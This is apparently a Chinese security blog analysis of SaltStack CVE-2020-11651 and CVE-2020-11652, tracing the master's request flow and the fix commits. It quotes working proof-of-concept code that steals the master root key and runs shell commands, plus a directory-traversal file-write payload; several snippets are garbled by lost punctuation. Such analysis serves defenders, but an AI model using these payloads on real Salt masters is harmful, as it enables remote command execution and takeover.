SaltStack CVE-2020-11651/11652
SaltStack是一种基于C/S架构的服务器基础架构集中管理平台,最近披露出存在两个安全漏洞 CVE-2020-11651 权限缺陷、CVE-2020-11652 任意文件读写漏洞,官方公告SALT 3000.2 RELEASE NOTES 两个CVE漏洞可以造成远程命令执行。Ghost 使用SaltStack管理自身的机器,漏洞披露后被恶意入侵并植入挖矿程序,Ghost的安全公告
Critical vulnerability impacting all services
受影响的version
- CVE-2020-11651
- SaltStack Salt before 2019.2.4 and 3000 before 3000.2
- CVE-2020-11652
- SaltStack Salt before 2019.2.4 and 3000 before 3000.2
0x00 CVE-2020-11651
官方公告对其描述
The salt-master process ClearFuncs class does not properly validate method calls. This allows a remote user to access some methods without authentication. These methods can be used to retrieve user tokens from the salt master and/or run arbitrary commands on salt minions.
POC
现有已公开POC核心逻辑
def get_rootkey(): try: response = clear_channel.send({'cmd':'_prep_auth_info'} timeout=2) for i in response: if isinstance(idict) and len(i) == 1: rootkey = list(i.values())[0] print("Retrieved root key: " + rootkey) return rootkey return False except: return False
获取对应的rootkey后续可执行恶意命令达到远程命令执行目的
def master_shell(root_keycommand): # This is achieved by using the stolen key to create a "runner" on the master node using the cmdmod module then the cmd.exec_code function to run some python3 code that shells out. # There is a cmd.shell function but I wasn't able to get it to accept the "cmd" kwarg parameter for some reason. # It's also possible to use CVE-2020-11652 to get shell if the master instance is running as root by writing a crontab into a cron directory or proably some other ways. # This way is nicer though and doesn't need the master to be running as root . msg = {"key":root_key "cmd":"runner" 'fun': 'salt.cmd' "kwarg":{ "fun":"cmd.exec_code" "lang":"python3" "code":"import subprocess;subprocess.call('{}'shell=True)".format(command) } 'jid': '20200504042611133934' 'user': 'sudo_user' '_stamp': '2020-05-04T04:26:13.609688'} try: response = clear_channel.send(msgtimeout=3) print("Got response for attempting master shell: "+str(response)+ ". Looks promising!") return True except: print("something failed") return False
poc调用salt packages 分析
clear_channel = salt.transport.client.ReqChannel.factory(minion_config crypt='clear') -> response = clear_channel.send({'cmd': '_prep_auth_info'} timeout=2) /salt/transport/zeromq.py @salt.ext.tornado.gen.coroutine def send(self load tries=3 timeout=60 raw=False): ''' Send a request return a future which will complete when we send the message ''' if self.crypt == 'clear': ret = yield self._uncrypted_transfer(load tries=tries timeout=timeout) else: ret = yield self._crypted_transfer(load tries=tries timeout=timeout raw=raw) raise salt.ext.tornado.gen.Return(ret)
salt.transport.client.ReqChannel.factory 最后被实例化为AsyncZeroMQReqChannel,而且带有clear参数,即发给master的命令是clear没有AES加密的
SaltStack master端逻辑
SaltStack 逻辑非常复杂,只对涉及漏洞及其利用点的master端工作流程做简单梳理,可以结合SaltStack官方doc梳理
提交任务 -> ReqServer(TCP:PORT:4506) -> MWorker -> workers.ipc -> auth -> Publisher -> EventPulisher
根据官方描述 ClearFuncs class 没有正确校验调用的method,即发生在 woker认领任务并发送publish命令处,结合POC在salt packages的调用流程
salt/master.py class ReqServer(salt.utils.process.SignalHandlingProcess): def __bind(self):
启动主server及生成相应数量的woker线程
salt/master.py class MWorker(salt.utils.process.SignalHandlingProcess): def __bind(self): """ Bind to the local port """ # using ZMQIOLoop since we *might* need zmq in there install_zmq() self.io_loop = ZMQDefaultLoop() self.io_loop.make_current() for req_channel in self.req_channels: req_channel.post_fork( self._handle_payload io_loop=self.io_loop ) # TODO: cleaner? Maybe lazily? try: self.io_loop.start() except (KeyboardInterrupt SystemExit): # Tornado knows what to do pass
通过_bind方法来绑定端口并接受请求,建立多进程模型
salt/master.py req_channel.post_fork( self._handle_payload io_loop=self.io_loop ) @salt.ext.tornado.gen.coroutine def _handle_payload(self payload): """ The _handle_payload method is the key method used to figure out what needs to be done with communication to the server Example cleartext payload generated for 'salt myminion test.ping': {'enc': 'clear' 'load': {'arg': [] 'cmd': 'publish' 'fun': 'test.ping' 'jid': '' 'key': 'alsdkjfa.maljf-==adflkjadflkjalkjadfadflkajdflkj' 'kwargs': {'show_jid': False 'show_timeout': False} 'ret': '' 'tgt': 'myminion' 'tgt_type': 'glob' 'user': 'root'}} :param dict payload: The payload route to the appropriate handler """ key = payload["enc"] load = payload["load"] ret = {"aes": self._handle_aes "clear": self._handle_clear}[key](load) raise salt.ext.tornado.gen.Return(ret)
通过post_fork()传入self._handler_payload 任务处理函数,在_handle_payload()方法中可以看由于poc的send 带有'enc': 'clear' 'cmd': '_prep_auth_info'
,所以调用
def _handle_clear(self load): """ Process a cleartext command :param dict load: Cleartext payload :return: The result of passing the load to a function in ClearFuncs corresponding to the command specified in the load's 'cmd' key. """ log.trace("Clear payload received with command %s" load["cmd"]) cmd = load["cmd"] if cmd.startswith("__"): return False if self.opts["master_stats"]: start = time.time() self.stats[cmd]["runs"] += 1 ret = getattr(self.clear_funcs cmd)(load) {"fun": "send_clear"} if self.opts["master_stats"]: self._post_stats(start cmd) return ret
调用_prep_auth_info
def _prep_auth_info(self clear_load): sensitive_load_keys = [] key = None if "token" in clear_load: auth_type = "token" err_name = "TokenAuthenticationError" sensitive_load_keys = ["token"] elif "eauth" in clear_load: auth_type = "eauth" err_name = "EauthAuthenticationError" sensitive_load_keys = ["username" "password"] else: auth_type = "user" err_name = "UserAuthenticationError" key = self.key return auth_type err_name key sensitive_load_keys
返回rootkey
修复代码
commit_id
method = self.clear_funcs.get_method(cmd) ''' 'enc': 'clear' ''' class TransportMethods(): """ Expose methods to the transport methods with their names found in the class attribute 'expose_methods' will be exposed to the transport via 'get_method'. """ expose_methods = () def get_method(self name): """ Get a method which should be exposed to the transport """ if name in self.expose_methods: try: return getattr(self name) except AttributeError: log.error("Requested method not exposed: %s" name) else: log.error("Requested method not exposed: %s" name) ''' 'enc': 'aes' ''' class AESFuncs(TransportMethods): """ Set up functions that are available when the load is encrypted with AES """ expose_methods = ( "verify_minion" "_master_tops" "_ext_nodes" "_master_opts" "_mine_get" "_mine" "_mine_delete" "_mine_flush" "_file_recv" "_pillar" "_minion_event" "_handle_minion_event" "_return" "_syndic_return" "_minion_runner" "pub_ret" "minion_pub" "minion_publish" "revoke_auth" "run_func" "_serve_file" "_file_find" "_file_hash" "_file_find_and_stat" "_file_list" "_file_list_emptydirs" "_dir_list" "_sym_list" "_file_envs" )
限制传入的method
0x01 CVE-2020-11652
官方公告对其描述
The salt-master process ClearFuncs class allows access to some methods that improperly sanitize paths. These methods allow arbitrary directory access to authenticated users.
POC
SaltStack Test类 def test_clearfuncs_config(self): clear_channel = salt.transport.client.ReqChannel.factory( self.minion_config crypt="clear" ) msg = { "key": self.key "cmd": "wheel" "fun": "config.update_config" "file_name": "../evil" "yaml_contents": "win" } ret = clear_channel.send(msg timeout=5) assert not os.path.exists( os.path.join(self.conf_dir "evil.conf") ) "Wrote file via directory traversal"
msg = { 'key': root_key 'cmd': 'wheel' 'fun': 'file_roots.write' 'path': '../../../../../../../../tmp/salt_CVE_2020_11652' 'data': 'evil' } ret = clear_channel.send(msg timeout=5)
缺陷代码
salt/wheel/file_roots.py
def write(data path saltenv="" index=0): """ Write the named file by default the first file found is written but the index of the file can be specified to write to a lower priority file root """ if saltenv not in __opts__["file_roots"]: return "Named environment {0} is not present".format(saltenv) if len(__opts__["file_roots"][saltenv]) <= index: return "Specified index {0} in environment {1} is not present".format( index saltenv ) if os.path.isabs(path): return ( "The path passed in {0} is not relative to the environment " "{1}" ).format(path saltenv) dest = os.path.join(__opts__["file_roots"][saltenv][index] path)
使用os.path.isabs 判断是否是绝对路径,防止任意路径写入,但是被../绕过
修复代码
commit_id
新增校验函数
salt/utils/verify.py
def _realpath(path): """ Cross platform realpath method. On Windows when python 3 this method uses the os.read method to resolve any filesystem s. On Windows when python 2 this method is a no-op. All other platforms and version use os.path.realpath """ if salt.utils.platform.is_darwin(): return _realpath_darwin(path) elif salt.utils.platform.is_windows(): if salt.ext.six.PY3: return _realpath_windows(path) else: return path return os.path.realpath(path) def _realpath_darwin(path): = "" for part in path.split(os.path.sep)[1:]: if != "": if os.path.is(os.path.sep.join([ part])): = os.read(os.path.sep.join([ part])) else: = os.path.abspath(os.path.sep.join([ part])) else: = os.path.abspath(os.path.sep.join([ part])) return
0x02 Other-salt packages安装issue
mac python3 -m pip install salt
会报错
ext-date-lib/timelib_structs.h:24:10: fatal error: 'timelib_config.h' file not found
#include "timelib_config.h"
^~~~~~~~~~~~~~~~~~
1 error generated.
error: command 'clang' failed with exit status 1
python3 -m pip download timelib
- 修改timelib的setup.py文件
setup(name="timelib" version="0.2.4" deion="parse english textual date deions" author="Ralf Schmitt" author_email="ralf@systemexit.de" url="https://github.com/pediapress/timelib/" ext_modules=[Extension("timelib" sources=sources libraries=libraries include_dirs=["." "ext-date-lib"] define_macros=[("HAVE_STRING_H" 1)])] include_dirs=["." "ext-date-lib"] long_deion=open("README.rst").read() license="zlib/php" **extra)
python3 setup.py build
python3 setup.py install
0x03 参考
- github_poc-CVE-2020-11651
- 官方公告SALT 3000.2 RELEASE NOTES
- SaltStack官方doc
- timelib_Unable to install on OSX
